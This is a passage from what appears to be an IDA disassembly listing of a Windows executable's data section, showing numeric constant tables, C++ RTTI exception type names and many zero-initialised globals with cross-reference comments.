		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D5D8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D734	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D74C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D76C	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D78C	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D7B0	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D7D0	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D7D8	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D7E0	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D7F8	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43E360	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43E560	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43E564	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43E568	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43E56C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E570	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43E574	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E578	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
dword_43E57C	dd 1C75h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433E1Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00438108o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_438B74o
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_4389E0o
		dd 5846h dup(0)
dword_4CB360	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CB364	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CB368	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB36C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB3EC	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB42C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB4BC	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB4C0	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB4D0	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB4D4	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB4D8	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CB4DC	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CB4E0	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CB4E4	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CB4E8	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CB4EC	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CB4F0	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CB4F4	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CB4F8	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CB4FC	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CB500	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CB504	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CB508	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CB50C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CB510	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CB514	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CB518	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CB51C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CB520	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CB524	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CB528	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CB52C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CB530	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CB534	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CB538	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CB53C	dd 0			; DATA XREF: sub_409B12+934w
dword_4CB540	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CB544	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CB548	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CB54C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CB550	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CB554	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CB558	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CB55C	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CB560	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CB564	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CB568	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CB56C	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CB570	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CB574	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CB578	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CB57C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB580	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CB584	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CB588	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CB58C	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CB590	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CB594	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CB598	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CB59C	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CB5A0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CB5A4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CB5A8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CB5AC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CB5B0	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CB5B4	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CB5B8	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CB5BC	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CB5C0	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CB5C4	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CB5C8	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CB5CC	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CB5D0	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CB5D4	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CB5D8	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CB5DC	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CB5E0	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CB5E4	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CB5E8	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CB5EC	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CB5F0	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CB5F4	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CB5F8	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CB5FC	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CB600	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CB604	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CB608	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CB60C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CB610	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CB614	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CB618	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CB61C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CB620	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CB624	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CB628	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CB62C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CB630	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CB634	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CB638	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CB63C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CB640	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CB644	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CB648	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CB64C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CB650	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CB654	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CB658	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CB65C	dd 0			; DATA XREF: sub_409B12+112w
dword_4CB660	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CB664	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CB668	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CB66C	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CB670	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CB674	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CB678	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CB67C	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CB680	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CB684	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CB688	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CB68C	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CB690	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CB694	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CB698	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CB69C	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CB6A0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CB6A4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CB6A8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CB6AC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB6B0	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB6B4	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB6B8	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB6BC	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB6C0	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB6C4	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB6C8	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB6CC	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB6D0	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB6D4	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB6DC	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB6E0	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB6E4	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB6E8	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB6EC	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB6F0	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB6F4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB6F8	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB6FC	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB700	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB704	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB708	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB70C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB710	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB714	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB718	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB71C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB720	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB724	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB728	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB72C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB730	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB734	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB738	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB73C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB740	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB744	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB748	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB74C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB750	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB754	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB770	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB774	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD770	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD788	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD78C	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD790	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD794	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD798	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD818	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD81C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD820	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD828	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD82C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD930	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CDA34	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CDA38	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CDA3C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CDA40	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CDAC0	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CDAC4	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CDAC8	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CDAD0	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CDAD4	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CDBD8	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CDCDC	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CDCE0	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CDCE4	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CDCE8	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CDD68	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CDD6C	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CDD70	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CDD78	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CDD7C	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CE004	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CE108	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CE110	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CE114	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CE118	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CE11C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CE124	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CE12C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CE130	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CE134	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CE33C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CE344	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CE34C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CE354	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CE360	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CE364	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CE36C	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CE374	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CE378	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CE388	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CE390	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE7B8	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CEDD8	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CF24C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D324C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D3250	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D3258	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D3290	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D3490	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D3C90	dd 130h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437EF0o
		dd 0CFh	dup(0)
dword_4D4490	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D4494	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D4498	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D449C	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D44A0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D46A0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D46A8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D46AC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D46B0	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D46B4	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D46B8	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D46BC	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D46C4	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 7Fh dup(0)
dword_4D48C4	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DADD8	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DADDC	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DAFE0	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DB03C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DB23C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DB240	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DB29C	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DB49C	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DB4A0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DB6A0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB8A4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB8A8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB8AC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB8B0	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB8B4	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB8E8	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB8F0	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB928	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
